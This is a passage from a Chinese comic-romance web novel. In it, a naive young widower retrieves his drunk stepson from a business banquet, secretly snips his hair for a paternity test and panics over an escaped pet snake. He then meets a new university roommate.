伊索是个人工智能,算是公司内的一个重要研究项目,这个温宝知道,可是……他微微皱起脸,露出一副很愚蠢的表情:“密钥是什么,钥匙吗,长什么样子,铜的铁的,我没见过,我老公从来没带过公司里的东西回家,你问闻鹤哥的助理吧,这些我不太清楚。”
席泊这才终于哽住,他抬起头盯着温宝似乎在评估温宝话语的真实性,半晌他点点头,对着温宝说了告别的话,起身离开。
全程动作很快很轻,除了先前对温宝说的那些话有些人味,其余静的像是死物,来这一趟像是只是为了完成某人的任务而已。
温宝看着人走远,为自己先前识破诡计又推脱求助的事骄傲地小小哼了一声,随后起身上楼收拾,准备今晚就拿到席秦的头发。
行动指南又被他老老实实写进那本厚厚的日记里,写日记是好习惯,写日记的人是好孩子,温宝就是有好习惯的人啊,温宝摇头晃脑想。
他写完落笔,合上日记,至于翻动时不小心露出日记本后半部分挖出的凹槽和里面的黑色U盘,温宝则是面色如常,权当没看见。
哈哈,席秦你就等着瞧吧。
而另一侧席泊出去,在手机里拨给了备注为席卓济的电话:“……他拒绝了,密钥也没找到……不再留他?”席泊声音一顿,似乎是得到了肯定的答案,他沉默了一会说:“好,我会安排……”
话间似乎已经安排好一个人的命运了。
10. 被碰瓷的温宝
当然温宝是什么都不清楚的,他把席泊送走,就开着他的老头乐小车去了席秦晚上要去的会所。
温宝是有驾照的,家里也有些豪车,长得很丑的豪车,温宝欣赏不来,但碍于是“豪”车,他也觉得开出去特别有面,温宝之前也开过几次,每次都避免不了磕碰,那些车开起来都太快了。
最后比来比去各方面都不如老头乐,小车也适合加塞,有时候温宝是有些没素质,但世界上没素质的人很多,根据相对论来说,温宝就是个正常人了,天呐温宝还能想起来相对论,简直是个天才。
于是满是车流的柏油路上,一辆小小的老年代步车左拐右拐,横冲直撞,直向席秦订的会所去。
多大的生意都离不开酒局,哪怕是席秦这样的人这样的身份,酒色加持下人往往一上头生意就谈拢了。
席秦坐在桌子一侧,举着杯子和别人碰酒,这会所装潢古典高雅,但内里也不是什么干净场所。
桌子上一份特别的“菜单”就能看出端倪,据说最开始席闻鹤和温宝就是在这样的场合遇见的,席秦撑着头看着那些带着男孩女孩照片的菜单出神。
一旁人一直关注着他,见他目光注视,于是谄媚出声,说的明白:“怎么了小席总看中了?哪个合眼缘您挑挑,这里的都是高级货。”
席秦闻声,似乎如梦初醒,转头笑着看向旁边人,彬彬有礼,只是笑意不达眼底,推脱:“看看就算了,今日的酒不错,喝多了。”喝多了自然有心无力,那人听懂言外之意,他也是个老狐狸,表面上笑眯眯答应下来,心里却想着席秦兴许是年轻脸皮薄,等把人叫过来几个,顺水推舟,这事就都成了。
只有傻子才会睡合作伙伴送上来的人,真做成了不都是把柄?席秦皮笑肉不笑地说些场面话糊弄过去,喝酒就算了,真要为了一桩生意失身,席秦可不愿意。他心思不在酒局上,也自然没看到旁边人多余的安排,只是时不时想些什么。
做生意的没有老实的,到了酒桌上不分你我都是劝酒,席秦要守处男身,就得从其他方面多多替代。
为此席秦喝了不少酒,虽然在国外生活多年,酒量不错,但等到温宝到的时候,席秦看起来已经是半醉了。
这种会所隐私性很强,温宝是拿了席闻鹤的卡才上来,仇顺发的资料很有限,只知道是在这里,但哪个房间却不知道。
温宝趁着服务员带着他往席闻鹤常去的那个包间时,偷偷溜走,上上下下排除了一通,又偷偷摸摸敲了敲门,最后也没找到席秦在的包间,一直等到一队年轻男女排着队往一个房间去,温宝心一横,在门打开的时候也跟着挤了进去。
人很多,再加上那些盘靓条顺的年轻男女一个个兢兢业业只往前看,一时间也没人发现队伍里多了一个人。
屋里几个男人脱了外套站起来拿着酒瓶倒酒,而席秦坐在正中间扶着头摆手,看起来已经彻底醉倒了,助理秘书也醉了一片。
合同摆在桌子上,几人谈着似乎一激动当场就要签合同。
温宝溜进来就看见这幅场景,他心里一突,跟着队伍就往里走,席秦醉成这样不会被坑骗吧,那份合同上写的什么,不会是卖掉公司,负债千亿的内容吧。
温宝盯着几张纸,几乎要灼穿出一个洞来。
公司可不是席秦一个人的公司,他可不能让席秦给败光了,想到这里温宝更急了,他得牢牢守着这份偌大的家业,给自己守着。
温宝急着往前去,可前面都是那些男孩女孩,他们都以为后面有个急着表现攀龙附凤的,个个不肯让开,一个人一个肩膀头子,把温宝撞回去,嘴里小声骂道:“挤什么挤,就你急着爬床,人家看不看上你,还不一定呢。”
声音很小,跟蚊子哼唧似的,可偏偏温宝耳朵尖,他自己当席太太的路不太干净,即使算不得爬床,可是听到这两个字也跟戳到痛脚一样,心虚的很。
“谁爬床了,谁爬了,你爬我都不爬,我这种身份还用爬?你知道我是谁吗,说出来吓死你。”温宝同样压低了声音说回去。
说话抱怨的几个人本来还想再骂,但离那些老总越近越发安静下来,最后都忍着没回怼后面那个饥不可耐的鸭子。
于是温宝一个人的声音就格外突出,骚乱也格外明显,一下引起众人注意,头脑清醒的纷纷抬起头。
领班见此眉一皱,上半张脸还冲着包厢里坐着喝酒的男人们眯着眼睛笑,下半张脸已经转过来咬牙切齿:“吵什么吵,就你话多,扣两百!”
喝酒的一干瘦男人,大约常来,微微挂着笑对着领头的说:“小孩活泼了些,别那么凶……”
“让开,让开!”温宝没让乱七八糟的话持续下去,他可是席太太,哪能莫名其妙被当成鸭子,他挤着一人一肩撞回去,趾高气扬的:“谁是鸭子了会不会说话,我告诉你我可是……”
“这是谁在吵啊。”席秦身边那个五大三粗的肥壮男人站起来,面皮粗糙,跟月球表面的陨石坑一样,“没见吵到了席总吗。”
席秦坐在一边,此刻确实是微微皱眉半合着眼。
温宝话又被打断了,一个一个跟打怪一样,响当当的身份还没亮堂堂地亮出来,就被人几经呵斥,他脾气不好,尤其变得有钱之后就更脾气不好了,最讨厌有人看轻他,闻言一蹦三尺高:“你谁啊,席秦算什么,我找的就是席秦,你知道我是谁吗,就敢这样说我!”
温宝气势汹汹地跳到这片屋子正中央,带着怒意,他长得看起来很聪明,但因为过分年轻貌美,神情又太傻,此刻又在酒局之上,怎么看都不像正经人,但穿的戴的又极彰显身份,很矛盾。
上下打量过温宝,先前劝席秦选几个临时男女友的男人像是想通什么,恍然大悟,当即有些后悔自作聪明,把这些人叫到包间里让席秦挑了,这明显是小男友来捉奸了:“啊怪不得小席总这么洁身自好,原来已经有人了,你是小席总的男朋友?”
温宝本就要亮出身份,他作为席闻鹤的妻子,席秦的小爸,管着席秦多么合情合理,可身份还没说出来,就再三遇到这些诡异离奇的猜测,他当即气得鼻孔冒烟,眼睛冒火,头昏脑涨不可置信:“你说什么呢,我是席秦他爸,他后爸,别胡说八道了!”他像是身上被脏东西染上了一样,简直像窦娥那样冤枉,一阵恶寒抱紧了手臂,亏得这些人都是做生意的,油滑,怎么在他这里总是听到些冒犯的话。
“后……后爸。”情节发展有些措不及防,有些人愣了一会儿,好半晌才反应过来眼前这个年轻男人是席闻鹤的妻子,仔细一想将那些模糊
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不清的照片和眼前男人对应上。
那个死了丈夫年轻貌美跟继子争家产闹的沸沸扬扬的年轻男人。
一时间无数目光汇聚在温宝身上,他天生好相貌,清艳多情,虽然脑子不与长相相符,可突然得知了身份背景,有这些加持,温宝看着竟越来越贵气摄人。
脸上陨石坑的男人闻此,挎着的脸一下子提起来,脸上两坨苹果肌突出,如果世界上的苹果都是这样的品相,那约莫没多久这个物种就会在这个世界上消失了,实在是无聊又丑陋,哦,这个比喻对于苹果来说都算是残酷。
他说:“哟,这真是我眼拙了,今天喝酒喝成酒蒙子了,对不住对不住。”他呵呵笑着,竟又拿起酒说要自罚一杯。
温宝翻了个白眼,不接他的话,转而看向席秦,席秦终于抬起头,他醉了反而少了那种富家贵公子的矜贵,看起来很像那种受人追捧的酷哥。
装装的。温宝不屑,过去拿脚尖踹他的腿:“走,跟我回家。”
“哎哎哎,怎么回家了,席太太,您不知道我们今晚还要和小席总谈生意的。”那些老油条笑着说。
席秦坐在椅子上,只抬头盯着温宝看,看得入神,一句话都不说,跟傻了一样,温宝心里一下子生出一点鄙夷,喝酒也不会喝,如果不是他来,席秦肯定要被骗了,席家就是离不开他温宝呀。
温宝嫌弃地瞥了席秦一眼,手臂去拉席秦,出乎意料的,席秦不算沉重,温宝也不太明白一个醉倒的大男人怎么这么轻易被他拉起又倒在他身上,但事情就是这么发生了。
温宝不看那些油腻中年大叔只说:“就走就走,就要回家,合同明天你再找席秦吧。”
温宝才顾不上什么合不合作,他是一个花瓶,席闻鹤的年轻小娇妻,又刚刚失去丈夫,做出些任性出格的事情不是很正常嘛。
温宝仗着没人敢拦他,直接拖着席秦就走了,一路上畅通无阻,他看了看席秦那些助理,叫了会所服务员把他们送走。
温宝做事还是很谨慎周全的,如果是席闻鹤在这里早就夸宝贝做的真棒了。
可惜他这里只有席秦,人高马大的席秦,哪怕席秦不重,温宝也被席秦的臂膀压的不舒服,席秦甚至还歪着头靠在他肩膀上,呼出的气息热浪一下席卷在温宝脖颈上,顺着温宝开大的领口钻下去,害得温宝打了个激灵。
席秦比他高那么多,这个姿势恐怕得是席秦把脖子折断了才能靠在他身上,温宝烦的不行,他甚至想着要不然把席秦扔在这里好了。
唉,可是温宝还是太有道德了,最终他还是没有抛弃席秦。
温宝扶着席秦就往后排推,这小车实在逼仄,席秦在这辆车面前完全就是庞然大物。
席秦更不知道是哪里抽搐了,原本还是醉着,临到了车前,一个挺身,温宝连拽都拽不住,席秦就钻到了驾驶位同排,长腿一蜷,紧接着就闭目养神,看起来醉的不成样子。
温宝睁大了眼睛,一脸懵,反应过来就去拽席秦手臂上那层西装:“你干什么呀,前面不是给你坐的,你应该坐后面!”
但是席秦大概真是醉倒了,温宝使出吃奶的力气都拽不动,只把自己累的气喘吁吁,最终认命地坐在另一边别扭地启动车子。
席秦,臭不要脸的。
11. 实施计划的温宝
谁能想温宝这一趟其实就是为了席秦的头发而来呢,而温宝还特意把席秦送回家却足以体现出温宝自己是多么的负责善良。
但是兴许是目标太过闪烁耀眼,温宝开着开着手指就蠢蠢欲动,恨不得赶紧拽下来一把头发送去检验,立刻就发现席秦冒牌公子哥的身份,然后立刻把他踢出席家,温宝就能立刻得到所有财产了。
这样想着,他单手握方向盘,另一只手刚刚够到席秦的发梢,就见席秦微微一动,有了想醒的架势。
席秦往后靠在椅背上,睁眼观察了一会儿眼前的场景,大概是在反应,许久他用平常那种语调,只不过要慢一些,开口:“我……车上。”
温宝嗖的收回手,心脏咚咚跳,跳的他差点要犯心脏病,手里的方向盘都飘了一瞬,疑心席秦酒醒时,就听见席秦说话不清不楚,料想对方还没彻底清醒,才稍稍松了口气。
但再让温宝去揪人头发,他是不敢了。
他从半醉半醒的席秦嘴里得知席秦家的具体位置,就一路不停地奔过去,当然还要避着交警,因为老头乐是不让上路的。
但是温宝才不会管这个。也就是温宝做贼心虚,反应才这么大,一路上开车都不太专心,以至于视野里模模糊糊出现什么黑漆漆有些反光的东西的时候,温宝什么都没反应过来。
他还没看清,就见方向盘上突然横过来一只有力的手臂,迅速将方向盘向左打死,是席秦俯身过来,一双锐利的眼睛在黑暗上分外明显,像是两块寒凉白亮的玻璃碎片。
天旋地转间,温宝眼前糊成一团,再看清事物,就是小车直直撞在路边大树上,那一瞬间温宝的心都要跳出来,跟放了鞭炮一样又重又急,他压制不住,手抖着迅速从包里拿了药吃了一颗,苍白的脸色才多了些鲜活气,心跳声缓下来。
温宝有心脏病,娘胎里带出来的,从前苟延残喘十几年,也就是碰到席闻鹤运气好,做了手术,才捡回一条命。
他调养了很久,好的七七八八了,除了像这种过于惊险的情况外,他和平常人没有区别。
温宝傻傻地盯着前面,泪不知不觉早就布满了漂亮的脸蛋,跟琉璃珠子似的散在月光下,莹莹闪烁。
他先是害怕,哆哆嗦嗦下了车,腿都软的要跪在地上,他去看前面的情况,车头撞到树上,几乎要把树身嵌到车里。
树一点事都没有,连树皮都没蹭破一点,反倒是他的车,凹了一个大洞,他漂亮的小白车完全被毁掉了,丑陋狰狞。
唰地一下,温宝的怯懦害怕都消失不见了,他火气蹭一下冒上来,气冲冲踩着圆头小羊皮靴子打开门往席秦大腿上踹了一脚:“席秦!你坏蛋!”
温宝看着占了大半个座位,在出车祸之前压在温宝身上,把温宝当猫咪垫子的席秦,像是看到了出气筒,车祸的罪魁祸首!
“你干什么,好端端的你干嘛要抢我的方向盘!你这样是要上社会新闻的!”鞋印子在席秦的黑色西装裤上留下一个灰白色的圆头印子。
温宝气得心脏都强健了数十倍似的,扑倒车子里,整个身体都倒在席秦身上。
席秦很安静,给人的感觉有点像席闻鹤沉默时候的样子,一双眼睛深思清明看向温宝,那瞬间温宝甚至怀疑他没醉,缩了缩身子。
但席秦好像只清醒了一瞬间,说话又断断续续,不太清楚:“发生,怎么……了。”
没醒,还醉着,温宝松了口气,下一秒举起手就邦邦往席秦头上敲:“都怪你!都怪你!我的车子被撞了,赔钱!”
但温宝怎么伸出白生生的手心往席秦面前放让他赔钱,席秦都是一副醉成傻子的样子。
温宝是没办法从醉鬼手里要到钱的,他一边恼怒席秦不由分说抢夺方向盘,一方面也是疑惑,回头张望,但黑漆漆的什么都没看到,不过空气里有汽车尾气的味道。
是躲过一辆车吗?温宝也不确定,不过不妨碍他暗戳戳骂这个在他脑海中存在的货车,晚上行车不开灯,这不就是冲着撞死人来的,以后肯定要赔的倾家荡产!
席秦的行为算是事出有因,温宝终于不撕咬席秦的外套了,将席秦歪在他这边的头推到一边,发动车子。
不过兴许是他被吓到了也可能是车子被吓到了,车子启动后,一路上哆嗦着车身回家了,跟中年无能丈夫吃药交粮一样。
席秦住的是高档公寓,比温宝住的别墅差一点,温宝有点得意,心里平衡很多,勉勉强强搂着席秦回家。
识别了人脸,温宝推着人进去,席秦这人醉了酒也这么不要脸,压在温宝身上,西装扣子在温宝脸上挤出一个个泛红的印子。
温宝满脸憋的粉红,才把人丢在沙发上,他伸手就打算揪头发来着,但是席秦在温宝手还没伸过去的时候,就似乎吃痛啧了一声,眼睛也睁开,看起来快要醒了,温宝手一抖,慌里慌张收回去。
直接拔会醒,那剪吧。
紧接着温宝就马不停蹄找剪刀,但席秦这种公子哥哪里有这种东西,得往住家保姆屋里找,但奇异的是席秦家里连佣人都没有,温宝急得满头汗,脸蛋亮闪闪的,像是某种光润的粉桃。
他唯恐人醒了,撅着屁股翻箱倒柜,才在一间放满杂物的房间里找到一把剪刀。
杂物间里什么都有,几个玻璃柜,里面放了些树枝,温宝趴在玻璃上脸蛋肉轻轻贴着玻璃面,他往里面盯了一会儿什么都没有看到,除此之外还有一个大冰箱,整体温度和房间外面有些不一样。
“…簌…簌。”
谁知道都是干什么的,温宝心里暗暗鄙夷,席秦肯定不是闻鹤哥的儿子,闻鹤哥比席秦讲究、优雅、爱干净多了。
温宝对席闻鹤有没有滤镜不知道,但对席秦倒是真看不顺眼,席秦作为席氏的继承人,在A市“最有潜力的富二代”里也是名列前茅的。
只有温宝这么看不上席秦。
“簌……”
什么声音,温宝狐疑地回头看看,什么都没有,有点像闹鬼,温宝两只脚交替跳着像个小猴子,呲牙咧嘴地赶紧跑出去。
回到客厅,席秦温宝走的时候什么样,现在还是什么样,撑着头坐在沙发上,看样子有点难受,也有些深沉样子。
温宝攥着剪刀,兴许又是做贼心虚,他试探喊:“席秦,席秦,你醉了吗,你现在知道一加一等于几吗?”
席秦……席秦没说话,温宝放下心,泥鳅一样钻到席秦背后,捏住一根头发就要下剪刀。
但一根头发太单薄,温宝提着心担心不够用,两根指头一松一捏,抓住一大把就铰了下去,那声音脆响,原本醉倒的席秦都似乎动了一下身子。
兴许是感觉后脑勺凉凉的了。
温宝又是很专业地把头发放进塑料袋子里,就要走,但或许是他动静太大,席秦真的有了醒过来的意思,他在沙发上坐直了,伸手摸了下头,温宝以为他发现头发被剪掉了,心惊胆战的,正要抓紧开溜,就见席秦不吭不响地抓了把头发,然后抬眼看向温宝。
“你怎么在我家。”
!醒了,怎么醒的这么快这么突然,温宝没醉过,但他见别人喝醉酒可不是这样的,果然吧,席秦他有些变异了。
“我,我……嗯……你喝醉了。”温宝连忙把手背到身后,罪证隐藏起来,他两只眼心虚地向上翻,瞳孔大而圆,给自己找到了借口,谎话越说越顺畅:“哎呀,你喝
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醉了倒在路边,哇哇吐的到处都是,别人都拍照呢,他们就说席秦看着怪有钱的,怎么酒品这么差,说咱们席家把人教养得太差劲了,又说你是个傲慢自大狂,你太丢人了真的,我一看情况不对,太败坏闻鹤哥的名声,就赶紧把你拉回来了……”
温宝编着编着就夹带私货,暗戳戳把席秦骂了一通,眼神也不心虚了,直直盯着席秦,一脸“我没撒谎,确有其事”的表情。
席秦盯着他叭叭的小嘴看了一会儿,半晌移开眼神,轻轻嗤笑一声:“……真会编故事。”
紧接着他眼神落到温宝背过去的手臂上开口问:“你手里拿的什么?”
“哈,剪刀啊。”温宝眼神又开始飘忽,很快就像找到借口似的眼神坚定下来,一只手哆哆嗦嗦地把塑料袋子塞进屁股口袋里,随后举起那把小剪刀冲着自己的头发梢比划着:“头发长了,我剪一下,这你也要管啊。”
说着他刷刷剪下来发梢两三毫米的碎发,一脸骄矜不服。
席秦皱眉却不是针对温宝的态度,那把剪刀越看越眼熟,他语气严肃:“你剪刀哪里找到的?”
温宝被问的一懵,矫揉造作故意恶心人的样子也忘记装出来了,他眨着大眼睛,抬手指了指那个杂物间方向:“在那个屋子里找到的呀,不可以用吗?”
刹那间席秦好像想到什么,脸色忽地一边,站起来问:“哪间?”
温宝带着他一路小步跑到那间杂物间门口指着里面,又懵懂又惴惴不安:“这里就是这里,剪刀不可以用吗?”
剪刀都不让用,温宝被问懵的脑袋再度运转起来,恶毒地想:席秦真小气,他只是稍微用了一下剪刀,他至于这么如临大敌么,席秦看起来真的很讨厌他,温宝这样想着就有点难过了。
很快他就在心里安慰自己,不是所有人都喜欢他,他本来就不讨人喜欢,没关系,反正席秦迟早要失去现在的一切,他一点也不在乎。
温宝的脑袋瓜里乱七八糟的想着,而席秦则是打开抽屉发现里面剪刀确实没了踪影,头疼似的蹙眉闭眼,脸色越来越不好:“那是我给宠物喂食用的。”
他指了指玻璃缸:“就是它,它不喜欢吃小鼠头,都要剪了再喂。”
紧跟着温宝的脸色变化重复了不久之前席秦的样子,他手一抬一松,整个人往后缩,任由剪刀掉落在地上,脸蛋憋的通红:“啊啊啊,席秦我讨厌你!”他疯狂尖叫着,吵的整个屋子似乎都在轻轻颤动,胳膊上起了一身鸡皮疙瘩,蹦着跳着要去洗手。
席秦为了自己的耳膜着想,一把抓住温宝的手拉着人去了屋内的清洗间,打开水龙头就把掌心的手往水龙头下放,水流唰唰地冲流在那双莹润的手表面。
席秦示意温宝快洗,自己则偷偷扶了扶脑后的发茬,一脸生无可恋。
可温宝只顾着闭着眼小声尖叫,无奈席秦伸手替他搓洗,大一点的手拢着小一点的手,在水流下不停翻动。
温宝恶心得要哭,睁开眼和席秦对视红着眼圈委屈道:“我的头发……不干净了。”
席秦没说话,无奈地看了温宝一眼,他的头发才叫糟糕呢。
这个空间里很静,席秦半环着温宝的身体也很热,温宝有点不自在,他眼球左看右看,找话题:“你养的什么啊,为什么它要吃小老鼠,不可以吃别的吗?”没品味的小动物,有那么多肉可以吃,为什么要吃老鼠肉,和席秦一样没品味!
席秦奇怪:“蛇啊,就在恒温缸里你没看到?”
温宝顿时面色煞白,那副好皮囊变得像易碎的白瓷薄瓶一般,轻轻一碰就要碎了。
惊奇事一茬接着一茬,他颤抖着嘴唇说:“缸里,有东西吗?”
12. 遇到舍友的温宝
经历过这一天的温宝,无论他干出什么事都可以原谅他了,毕竟没有人比他更惨,没有。
蛇跑出来了。
席秦甫一得知,就立刻去找,温宝又跳着脚恨不得跳到席秦背上不下来,这间公寓又噼里啪啦响起尖叫声。
“啊啊啊啊,有毒吗,有毒吗!”温宝心理素质也算不错,这个时候还记得询问跑出来的蛇有没有毒。
席秦应该是有点经验,专挑阴暗角落去找,或许这条蛇越狱过好几次,他自顾不暇头也不回道:“这里的没毒,放心吧。”
什么叫做这里的没毒,难道别处的就有毒吗?
温宝暗暗吐槽,叫了一会儿没力气了,情绪也稳定下来,跟在席秦屁股后头也探头去找,说起来温宝也真是个热心肠了。
两个人弯着腰看起来鬼鬼祟祟的。
温宝探头探脑小步往前移动,一边声音微颤:“我想走了。”
席秦说:“劝你不要,万一那条蛇就在门口等你呢。”守门待宝。
此言一出,又把温宝吓得不行,他紧抓着席秦衣服后摆,勾着头伸长脖子也跟着去看,要不说好奇心害死猫呢,哪怕温宝怕蛇怕得有些腿软,还好奇去找呢。
翻了几个角落,席秦也没找到,温宝晃着脑袋,慢慢平静下来,走神一样呀你冷静)眼睛在去看柜子和柜子之间的缝隙之间飘来飘去。
屋子打扫的很干净,家具整齐昂贵,地板也明亮,整洁的环境能给温宝更多安全感。
忽地,他瞧见一根亮亮的长条物件夹在缝隙里,他以为是蛇,心脏鼓动着,还没来得及再叫,温宝就眼尖地发现,长条绳整体是亮蓝色,一汪水一样。
温宝伸手勾出来抓住举起来问:“席秦你家里怎么还有花绳啊,吓死我了我还以为是蛇呢,哈哈哈还凉凉的软软的……呃……”
“嘶嘶。”
在温宝手心的蓝花绳发出嘶嘶声,温宝的脑袋一顿一卡地转过身去,和一条通体蓝莹莹的蛇大眼瞪小眼:“啊啊啊,蛇,蛇,蛇在我手里!”
温宝跳着尖叫起来,手臂高高举起,他脑中扔掉蛇自保和抓住蛇炫耀两条代码打起架来,进退两难地原地尖叫。
他挥舞着蛇身,像是在挥一面旗子,温宝惊慌失措地看着席秦,眼睛黑白分明,琉璃一般闪着光,他叫着跳着,像很活跃的五颜六色的跳跳糖,在席秦心里噼里啪啦跳个不停。
都乱了。
最终温宝也没扔掉那条蛇,而是顺手抄起一边柜子上的盒子,就往蛇头上招呼,快准狠,和一脸害怕娇弱呆萌的样子截然不同对比鲜明,像野外遇到凶兽,勇敢保护席秦的勇士。
盒子还没打在蛇身上,却像是打在席秦心上,说不上来是担心小蛇,还是温宝的气势太凌厉。
席秦只是大喊:“别砸,五十万!蓝化蛇,五十万一条!”
“什么!”温宝僵住了,甚至来不及和小蓝蛇面对面对峙,反而不可置信地盯着席秦,一脸匪夷所思,看败家子一样看着席秦:“就它值五十万!你花钱为什么这么大手大脚。”
他说着挥舞着蛇身,看样子是怕穷病胜过了恐蛇症,席秦真的是败家子,温宝的判断都没有错,公司交到席秦手里迟早会完蛋的,温宝可能富不了多久,就会被席秦拖累变成穷人的。
无法理解,尽管温宝一件首饰都上百万了,但他绝不允许席秦拿着钱去干这种不是正经东西的事。
没错,温宝就是对别人的钱都占有欲大爆发。
大约惊讶和瞧不起人那股劲儿过去了,温宝才逐渐将手里的五十万重新和蛇对应起来,慌不迭地丢到席秦身上。
温宝嫌恶地看着脑后缺了一小截头发的席秦和他手里一脸傻·逼样子长着黑豆眼睛的小蛇,大声骂:“席秦你就这样对我差吧!我一点也不在乎一点也不生气!”说完气冲冲地跑到一边洗手,又气冲冲地离开,一点挽留的机会也没给席秦留。
跟颗小地雷似的。
席秦嘴角带着自己都不知道的笑,把蛇丢进缸里,听见大门被狠狠摔上,低头看了看重新爬到树枝上,一丁点智商都没有的小蓝蛇甩锅道:“得,以后他更讨厌我了,你看你造的什么孽。”
他收拾好房间,进了浴室打理自己,中途还不忘给在酒局的助理们去了电话:“那些人怎么样?证据都收集到了吧……行,该怎么办就怎么办,按死了,别让他们翻起身来。”
随后他承诺了些加薪福利的事,对面的助理应答的声音都大了,喜滋滋说立刻去办,这几日的事才总算宣告结束。
席秦松了口气,他倒是没想到温宝今晚会来找他,无论是什么原因吧,席秦摸了摸后脑勺,明显一处断层,手一顿,席秦背对着镜子勉强看了一眼。
“……真丑,剪头发有个什么用。”能想出来亲子鉴定真有他的,这么长时间了还打着赶席秦走的主意,只是确实不能如温宝愿了。
又想到什么,席秦眸光忽暗,暗潮涌动,他再次拿起电话打给跟踪温宝的那几个人,今晚那辆车明显不对,是来杀他,还是温宝……温宝应该是在他不在的时候见了什么人,席卓济父子吗?
也不会是别人了。
浴室内水汽氤氲缭绕,一道声音缓缓浮现,带着潮湿:“……保护好他。”
*
温宝有计划,今天太晚,明天上课,等他上完课就去鉴定中心那些地方给席闻鹤和席秦做亲子鉴定。
他记得席家就有一个,自家便宜不占白不占,没准他还能让结果早点出来呢,那种电视剧里不都这样演的,到时候就可以拿着报告单去找席秦,一掌拍在桌子上,居高临下大喊:认清吧,你根本不是席闻鹤的亲生儿子,滚出席家!
让席秦羞愧难当,立刻就向席家唯一主人温宝下跪求饶,痛哭流涕祈求不要赶他走。
“席家都是您的,您这么伟大英武,席家不是您的还能是谁的,公司也必须是温宝的,温宝就是掌管商业帝国的唯一帝王啊!全球经济命脉都握在温宝手里,我臣服我臣服!谁敢忤逆温宝皇帝,我必毁他天堂!温宝皇帝饶我一命!”
哈哈哈哈哈哈哈哈,到时候温宝就彻底拿捏了席秦,给席秦多少钱还不是温宝说的算,顶多一个月给席秦三千块,顾得住他自己就差不多了,仁至义尽!
温宝还是很仁慈的,又有钱又善良,不知道得多受欢迎。
期盼着美好未来,温宝又在日记本上完善了自己的计划,包括怎么好好学习,怎么进公司,怎么狠狠打脸看不起他的人,又该怎么挤兑席卓济父子,完完全全,事无巨细。
一切都只等明天送去检测了。
温宝带着美好愿景,美美躺在了床上闭上眼睛,睫毛尖翘,侧面看跟把小剑一样戳着空气。
他睡觉了,他真的要睡觉了,他保证明天要早起然后给老师同学留下一个好印象。
……
温宝迟到了。
他的保证承诺没有起到作用,反而是拿着手机搜索了一晚上怎么和舍友相处,大学里奇葩导员和舍友的吐槽,为此惶恐不安,差点哭着给席秦打电话说自己要退学。
不过他也知道这是他杞人忧天,刷了点成功人士才看的视频,实在熬不住才深深睡过去。
如此当然迟到了,迟到了足足两个小时,他已经错过了第一节课,第二节课也没赶上,紧接着温宝又在找教室途中度过了第二节课。
温宝努力学习的美好计划在第一天就被打破了。
深深的挫败,温宝心里还带着一点说不清道不明的愧疚,担心会被老师发现没来上课。
其实他一个旁听生来或不来,估计也没人在意。
温宝只好偷偷摸摸回了宿舍,路上还提心吊胆地担心被退学。
宿舍楼层很高,温宝坐电梯上去,拿钥匙扭开门,有些失落地推门进去。
屋子里光线与上次来相比有些暗,房间里有细密的轻微咔哒声,温宝并没有第一时间注意到这种声音,他所有目光都被眼前几个拔地而起的行李堆吸引。
起码七八个行李箱放到摞在一起,靠着墙码的整整齐齐,全部堆放在温宝床架那一侧,但除此之外其他地方依旧凌乱。
温宝咚地一声关上门,重新来,伸手去够堆叠在一起的箱子,可他哪怕踮起脚就够不着放不下来。
温宝勃然小怒,叉着腰虚张声势四处张望,自顾自张牙舞爪暗自生气:“谁呀,谁动我的箱子!别让我逮到你,不然要你好看!”
他很擅长背地里蛐蛐人,但是真把罪魁祸首拉到他面前,
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他立刻就噤声了。
“我。”
一道冷淡的声音从另一侧传来,温宝僵住一动不动,斜着眼睛看过去。
男人坐在椅子上,没有回头,肩膀宽而平直,衣服利落整洁,桌子上一部电脑正散发出幽幽白光。
那种细密咔哒声正是键盘的敲击声,男人话落半扭身过来,衣服在腰间拧出轻微褶皱,手臂搭在桌角,腕上有一块机械表。
是很典型的学霸气质风格。
温宝蛐蛐了学霸,也蛐蛐了他这位室友。
“我放的。挡路了。”室友说完又背过身去,只留给温宝一个冷漠克制的背影。
确实有些挡路了,温宝抱怨也只是嘴上说说,他当有钱人当的张扬跋扈,一下子进了校园没有转换过来思维这怎么能怪温宝,还不是他太有钱了。
文化人都是讲理的,温宝有些自卑地想。
“对不起啊,我不是故意的。”
男人没说话,温宝尴尬地挠了挠脸,转而努力踮起脚去够行李箱,实在够不到又去搬了凳子,站在凳子上,勉强抽下来一个,箱子重且大,遮挡了一部分视线,温宝两只手提着,背都微微佝偻着,重心已然失衡,他向下张望着思索着怎么下去。
要不把箱子扔下去吧,但是这个箱子里装的什么呢?
杯子?首饰?衣服?
温宝也不知道,但这让他完全放弃了把箱子抛下这种做法。
一时间温宝孤立无援地像是大海里一艘小船上的怕水小狗。
好半天,温宝终于什么也没想出来,反而急的鼻头出了些薄汗,脸蛋红彤彤的,在凳子上稍微转了个方向,很没面子又很不好意思地颤抖着声音朝那个看起来很不好相处的室友求助:“那个,你能帮我接一下箱子吗,我不敢下去了。”
男人这才回头,见温宝老老实实站在一个小凳子上,抱着行李箱四处张望,他沉默一会儿,像是没想到温宝会被这种事情难到。
大概是因为温宝处于这样的困境有他的原因,男人沉默片刻就走过来,一手接过温宝的行李箱,在温宝还打算去拿行李的时候说道:“你下来,我来。”
说完长臂一伸从顶上轻松取下一个,手臂间筋骨突出,但并不显得粗壮。
温宝一呆,摇摇晃晃道从椅子上下去,他身体不算好,就像是温宝身上除了智商学历这个洼地之外的另一个小坑,但是温宝好奇作妖的精神头又弥补了这一缺陷,看起来便和普通人差不多。
温宝下的不稳,反射性抓了男人臂膀一下,只一下他就缩回了手,温宝下意识抬头去看对方表情,唯恐惹对方不悦。
男人并没有什么反应,只是扫了肩头一眼,眉宇间并不明朗,其余的倒没说什么,利落地把几个过高的行李箱放下来。
他人还挺好的,温宝开始愧疚了,他之前“偷偷”对男人放狠话确实很过分了,毕竟是他先挡了路。
温宝盯着男人背影思索片刻拿出自己的拿手好戏问:“谢谢你呀,我叫温宝,你叫什么名字啊。你想喝奶茶吗?或者你想吃汉堡吃炸鸡吗?我请你吧。”温宝问着语气欣快起来,这些都是他喜欢的。
“宋执,不用了。”宋执说完,强迫性地把箱子挨个排放整齐,紧接着问温宝:“把它们拿下来,你打算放在哪里?”
温宝:“啊,我,我把它们带走。”他沮丧又后悔,他像是怕宋执又有什么意见:“我没想到我带了这么多,我很快就会把它们带回去。”
宋执没什么表情,淡淡地嗯了声,就又回到自己的位置上,他很忙的样子,看起来和温宝差不多大,但气场截然不同,没多久就带着个u盘出门了。
